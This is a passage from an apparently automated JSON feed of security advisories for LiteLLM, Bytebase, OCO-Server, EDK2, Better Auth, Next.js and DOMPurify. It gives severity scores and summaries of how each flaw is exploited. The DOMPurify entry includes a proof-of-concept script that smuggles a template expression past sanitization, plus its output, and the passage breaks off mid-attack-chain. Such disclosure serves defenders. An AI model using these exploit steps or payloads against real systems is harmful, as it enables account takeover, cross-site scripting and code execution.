API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115353&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115353, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114612","cveId":"CVE-2026-114612","aliases":[],"kind":"vulnerability","title":"LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format.","summary":"LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From 1.87.0 until 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2, the proxy reuses one cryptographic context for at-rest secrets and session tokens, allowing an authenticated internal user to have crafted metadata containing a forged administrator credential encrypted and returned by the API-key flow. Replaying that ciphertext as a bearer token causes the proxy to trust the forged proxy administrator identity, permitting administrative access and arbitrary commands through the MCP stdio endpoint. Versions 1.87.0 through 1.90.x require EXPERIMENTAL_UI_LOGIN to be enabled, while versions after 1.91.0 are exploitable in the default configuration. This issue was fixed in LiteLLM 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2.","detail":"LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From 1.87.0 until 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2, the proxy reuses one cryptographic context for at-rest secrets and session tokens, allowing an authenticated internal user to have crafted metadata containing a forged administrator credential encrypted and returned by the API-key flow. Replaying that ciphertext as a bearer token causes the proxy to trust the forged proxy administrator identity, permitting administrative access and arbitrary commands through the MCP stdio endpoint. Versions 1.87.0 through 1.90.x require EXPERIMENTAL_UI_LOGIN to be enabled, while versions after 1.91.0 are exploitable in the default configuration. This issue was fixed in LiteLLM 1.100.4, 1.101.3, 1.102.2, 1.103.1, and 1.104.0-rc.2.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:37.540Z","updatedAt":"2026-10-23T19:42:24.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["LiteLLM"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.9,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114612","asOf":"2026-10-23T19:42:24.553Z"},"epss":{"probability":0.00319,"percentile":0.24638,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114612","type":"primary","publishedAt":"2026-10-22T19:17:37.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2022-51026","cveId":"CVE-2022-51026","aliases":[],"kind":"vulnerability","title":"Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user.","summary":"Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user. The flaw stems from trusting client-supplied GitLab provider configuration in the POST /api/auth/login/GITLAB_SELF_HOST endpoint. Attackers can set instanceUrl to a server they control that returns an active user with a chosen email. Bytebase then issues session tokens for that principal, letting attackers impersonate existing users including the Owner or create new members.","detail":"Bytebase 0.12.0 before 1.0.1 contains an authentication bypass vulnerability that allows unauthenticated attackers to log in as any user. The flaw stems from trusting client-supplied GitLab provider configuration in the POST /api/auth/login/GITLAB_SELF_HOST endpoint. Attackers can set instanceUrl to a server they control that returns an active user with a chosen email. Bytebase then issues session tokens for that principal, letting attackers impersonate existing users including the Owner or create new members.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:30.883Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2022-51026","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00613,"percentile":0.49047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2022-51026&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2022-51026","url":"https://nvd.nist.gov/vuln/detail/CVE-2022-51026","type":"primary","publishedAt":"2026-10-22T19:17:30.883Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2022-51026&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2022-51026, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114611","cveId":"CVE-2026-114611","aliases":[],"kind":"vulnerability","title":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management.","summary":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.3,the Apple MDM enrollment endpoint `frontend/api-mdm.php` verifies the signed enrollment-request plist with `openssl_pkcs7_verify(..., PKCS7_NOVERIFY, ...)`. `PKCS7_NOVERIFY` disables signer certificate chain and trust validation, so the signature only has to be self-consistent with whatever certificate is embedded in the PKCS#7 blob. A self-signed certificate from an unrelated attacker is accepted. Because the endpoint trusts the `SERIAL` field taken from the unverified payload, anyone who knows a registered device's serial number can sign a forged plist (`SERIAL` = victim device, attacker-chosen `UDID`) with an arbitrary self-signed certificate; POST it unauthenticated to `/api-mdm.php/profile` (Content-Type: `application/pkcs7-signature`); and receive the victim device's freshly minted MDM identity: a certificate with `CN=<serial>` issued by the server's internal MDM device CA, bundled with its private key in a PKCS#12 payload inside the returned `.mobileconfig` enrollment profile. Additionally, the victim's `mobile_device` database row is silently overwritten with the attacker-supplied `UDID` (device-record hijack). With the stolen certificate and key, the attacker can impersonate the victim device on all subsequent MDM traffic (`/checkin`, `/mdm`, `/parameters`), which authenticate callers by the certificate CN (the serial number) via `checkSignature()` in the same file. This yields control over the victim device's MDM relationship: reading its management data, replacing its push token, and disrupting or redirecting its enrollment. Version 1.2.3 fixes the issue.","detail":"OCO-Server is a self-hosted endpoint management application for computer inventory, software deployment, and mobile device management. Prior to 1.2.3,the Apple MDM enrollment endpoint `frontend/api-mdm.php` verifies the signed enrollment-request plist with `openssl_pkcs7_verify(..., PKCS7_NOVERIFY, ...)`. `PKCS7_NOVERIFY` disables signer certificate chain and trust validation, so the signature only has to be self-consistent with whatever certificate is embedded in the PKCS#7 blob. A self-signed certificate from an unrelated attacker is accepted. Because the endpoint trusts the `SERIAL` field taken from the unverified payload, anyone who knows a registered device's serial number can sign a forged plist (`SERIAL` = victim device, attacker-chosen `UDID`) with an arbitrary self-signed certificate; POST it unauthenticated to `/api-mdm.php/profile` (Content-Type: `application/pkcs7-signature`); and receive the victim device's freshly minted MDM identity: a certificate with `CN=<serial>` issued by the server's internal MDM device CA, bundled with its private key in a PKCS#12 payload inside the returned `.mobileconfig` enrollment profile. Additionally, the victim's `mobile_device` database row is silently overwritten with the attacker-supplied `UDID` (device-record hijack). With the stolen certificate and key, the attacker can impersonate the victim device on all subsequent MDM traffic (`/checkin`, `/mdm`, `/parameters`), which authenticate callers by the certificate CN (the serial number) via `checkSignature()` in the same file. This yields control over the victim device's MDM relationship: reading its management data, replacing its push token, and disrupting or redirecting its enrollment. Version 1.2.3 fixes the issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T18:17:28.377Z","updatedAt":"2026-10-23T19:57:42.660Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114611","asOf":"2026-10-23T19:57:42.660Z"},"epss":{"probability":0.00229,"percentile":0.13542,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114611&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114611","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114611","type":"primary","publishedAt":"2026-10-22T18:17:28.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114611&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114611, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-97631","cveId":"CVE-2026-97631","aliases":[],"kind":"vulnerability","title":"EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds\nWrite”, Classic\nBuffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access....","summary":"EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds\nWrite”, Classic\nBuffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability\ncan lead to arbitrary\ncode execution. It could also impact\nConfidentiality,\nIntegrity,\nand Availability.","detail":"EDK2 contains a vulnerability in BIOS where a user may cause “Out-of-bounds\nWrite”, Classic\nBuffer Overflow, and “Incorrect Calculation of Buffer Size” by remote access. Successful exploitation of this vulnerability\ncan lead to arbitrary\ncode execution. It could also impact\nConfidentiality,\nIntegrity,\nand Availability.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:17:02.027Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-97631","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00432,"percentile":0.37278,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-97631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-97631","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-97631","type":"primary","publishedAt":"2026-10-22T17:17:02.027Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-97631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-97631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114607","cveId":"CVE-2026-114607","aliases":[],"kind":"vulnerability","title":"Better Auth is an authentication and authorization library for TypeScript.","summary":"Better Auth is an authentication and authorization library for TypeScript. From 1.4.0-beta.18 until 1.7.7, deployments that enable Magic Link with storeToken set to plain, or with storeToken set to hashed and the global verification.storeIdentifier setting also set to hashed, enable a built-in social or Generic OAuth provider, and use account.storeStateStrategy set to database can accept an OAuth sign-in state value as a Magic Link token. These settings can cause Magic Link verification records and OAuth state to resolve to the same stored identifier, allowing an unauthenticated attacker to start OAuth sign-in for a known email address and redeem the returned state through Magic Link without controlling the mailbox or completing the provider callback. The attacker can obtain a normal session for an existing user, or create an account incorrectly marked as email verified when sign-up is enabled. This issue is fixed in version 1.7.7.","detail":"Better Auth is an authentication and authorization library for TypeScript. From 1.4.0-beta.18 until 1.7.7, deployments that enable Magic Link with storeToken set to plain, or with storeToken set to hashed and the global verification.storeIdentifier setting also set to hashed, enable a built-in social or Generic OAuth provider, and use account.storeStateStrategy set to database can accept an OAuth sign-in state value as a Magic Link token. These settings can cause Magic Link verification records and OAuth state to resolve to the same stored identifier, allowing an unauthenticated attacker to start OAuth sign-in for a known email address and redeem the returned state through Magic Link without controlling the mailbox or completing the provider callback. The attacker can obtain a normal session for an existing user, or create an account incorrectly marked as email verified when sign-up is enabled. This issue is fixed in version 1.7.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T17:16:58.577Z","updatedAt":"2026-10-23T15:17:26.763Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114607","asOf":"2026-10-23T15:17:26.763Z"},"epss":{"probability":0.0042,"percentile":0.35984,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114607&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114607","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114607","type":"primary","publishedAt":"2026-10-22T17:16:58.577Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114607&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114607, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-673q-mjm6-r5xr","cveId":null,"aliases":[],"kind":"vulnerability","title":"Next.js: Unauthenticated Remote Code Execution in `use cache` functions returning typed arrays","summary":"A vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays.\n\nThere is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions.","detail":"## Impact\n\nA vulnerability in applications using App router with Cache Component can lead to remote code execution. The application needs to have a `use cache` function that returns multiple typed arrays.\n\n## Workaround\n\nThere is no known workaround for affected applications with such `use cache` functions. You should upgrade immediately even if your application does not have similar functions.\n\nAffected package ranges reported by GitHub:\nnext: >= 16.0.0, <= 16.4.0","action":"GitHub lists first patched versions: next: 16.4.1. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:42:31.000Z","updatedAt":"2026-10-22T16:42:32.000Z","regions":["Global"],"vendor":null,"product":"next","stacks":["Next.js","JavaScript packages (npm)","next","npm"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:N","sourceUrl":"https://github.com/advisories/GHSA-673q-mjm6-r5xr","asOf":"2026-10-22T16:42:32.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-673q-mjm6-r5xr","url":"https://github.com/advisories/GHSA-673q-mjm6-r5xr","type":"primary","publishedAt":"2026-10-22T16:42:31.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-673q-mjm6-r5xr, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"GHSA-cg2g-xh64-v4q7","cveId":null,"aliases":[],"kind":"vulnerability","title":"DOMPurify SAFE_FOR_TEMPLATES bypass: split template expressions survive in attached shadow root content on DOM output modes","summary":"When DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and ` ` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into ` .content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.\n\n`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.","detail":"## Summary\n\nWhen DOMPurify is configured with `SAFE_FOR_TEMPLATES: true` together with a DOM-returning mode (`RETURN_DOM: true`, `RETURN_DOM_FRAGMENT: true`, or `IN_PLACE: true`), template expressions such as `{{...}}`, `${...}`, and ` ` survive sanitization inside the text content of an attached shadow root. The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:1717`) was extended to recurse into ` .content`, but it never recurses into attached shadow roots. An attacker who can supply a DOM node carrying a shadow root (the `IN_PLACE` and shadow-aware `RETURN_DOM` surfaces) can split an expression across text nodes separated by disallowed elements; after those elements are removed the fragments become adjacent and serialize into a complete expression that a downstream template engine will evaluate.\n\n## Root Cause\n\n`SAFE_FOR_TEMPLATES` neutralizes template expressions through two mechanisms: a per-text-node strip during the main walk (`_stripTemplateExpressions`, applied in `_sanitizeElements` at `src/purify.ts:2246`), and a final post-walk pass (`_scrubTemplateExpressions`, `src/purify.ts:1717`) that normalizes adjacent text nodes and re-strips expressions that only form after merging. The per-node strip cannot catch an expression that is split into individual fragments, because each fragment fails the delimiter regexes. The post-walk pass is the only mechanism that would catch the merged form, but it is structurally unable to reach shadow root content.\n\n```text\n_scrubTemplateExpressions (src/purify.ts:1717-1751):\n - node.normalize() at line 1718 does not merge text nodes inside shadow roots (DOM spec).\n - NodeIterator at lines 1723-1731 does not descend into shadow trees (DOM spec).\n - Explicit recursion at lines 1743-1750 enters .content only, via\n querySelectorAll('template'); there is no equivalent recursion into attached\n shadow roots.\nShadow roots are sanitized earlier by _sanitizeShadowDOM (src/purify.ts:2710), which\napplies the per-node strip but never performs the post-walk normalize-and-rescrub.\n```\n\nShadow root text nodes are therefore sanitized only per-node and never re-examined as a merged unit.\n\n## Impact\n\nAn attacker who controls DOM-node input containing an attached shadow root can inject template expressions that survive sanitization and are later evaluated by the application's template engine. In client-side contexts this yields cross-site scripting; in a server-side template context it can escalate to template injection. Exploitation requires non-default application configuration: the application must enable `SAFE_FOR_TEMPLATES` and a DOM-returning mode, pass a DOM node that already has an attached shadow root, and feed the sanitized shadow root content into a template evaluator. The shadow root does not have to be built programmatically with `attachShadow`: in engines that support declarative shadow DOM, attacker-supplied markup containing ` ` parsed through `setHTMLUnsafe` or `Document.parseHTMLUnsafe` produces the same attached shadow root, so a plain HTML string reaches the gap once the application is configured this way. Demonstrated capability is injection of a complete, attacker-chosen expression into post-sanitization shadow root content; the resulting script execution and any confidentiality or integrity consequence depend on the downstream engine's evaluation context.\n\n## Proof of Concept\n\n```text\nPreconditions:\n - DOMPurify built from the affected source (dist/purify.js or an ESM/CJS bundle).\n - A browser (or DOM implementation) with shadow DOM support.\n - Application constructs a DOM node with an attached shadow root before sanitizing,\n and later evaluates the shadow root's text content as a template.\n```\n\nBuild a host element whose shadow root holds a template expression split across text nodes separated by disallowed elements, then sanitize in place with `SAFE_FOR_TEMPLATES`:\n\n```javascript\nconst host = document.createElement('div');\nconst root = host.attachShadow({ mode: 'open' });\n\n// Split \"${alert(document.domain)}\" so no single fragment matches a regex.\n// is not in the default ALLOWED_TAGS and is removed during sanitization,\n// leaving the surrounding text-node siblings adjacent.\nroot.appendChild(document.createTextNode('$'));\nroot.appendChild(document.createElement('object'));\nroot.appendChild(document.createTextNode('{alert(document.domain)}'));\n\nDOMPurify.sanitize(host, { IN_PLACE: true, SAFE_FOR_TEMPLATES: true });\n\n// After the disallowed element is removed, the fragments are adjacent and survive.\nhost.shadowRoot.normalize();\nconsole.log(host.shadowRoot.textContent);\n```\n\n```text\n${alert(document.domain)}\n```\n\nA downstream template evaluator reading `shadowRoot.textContent` (for example `new Function('return `' + content + '`')()` or any `${...}`/`{{...}}` engine) then evaluates the fully formed expression.\n\n## Attack Chain\n\n1. **Exposure:** The application calls `DOMPurify.sanitize(node, cfg)` (`src/purify.ts:2854`) with `SAFE_FOR_TEMPLATES: true` and `IN_PLACE: true` (or a shadow-aware `RETURN_DOM`), passing a DOM node that already carries an attached shadow root.\n2. **Control:** The attacker controls the shadow root's text nodes and the disallowed separator elements between them; each fragment (`$`, `{alert(document.domain)}`) is a valid, individually benign text node.\n3. **Path:** `_sanitizeAttachedShadowRoots` (`src/purify.ts:2977`) feeds the shadow root into `_sanitizeShadowDOM` (`src/purify.ts:2710`), which strips expressions per text node (`src/purify.ts:2246`) and removes the disallowed separator elements, leaving the fragments adjacent.\n4. **Guard:** The post-walk safety net `_scrubTemplateExpressions` (`src/purify.ts:3131-3132`) is the only pass that would catch the merged expression, but it never recurses into shadow roots (`src/purify.ts:1717-1751` recurses into ` .content` only).\n5. 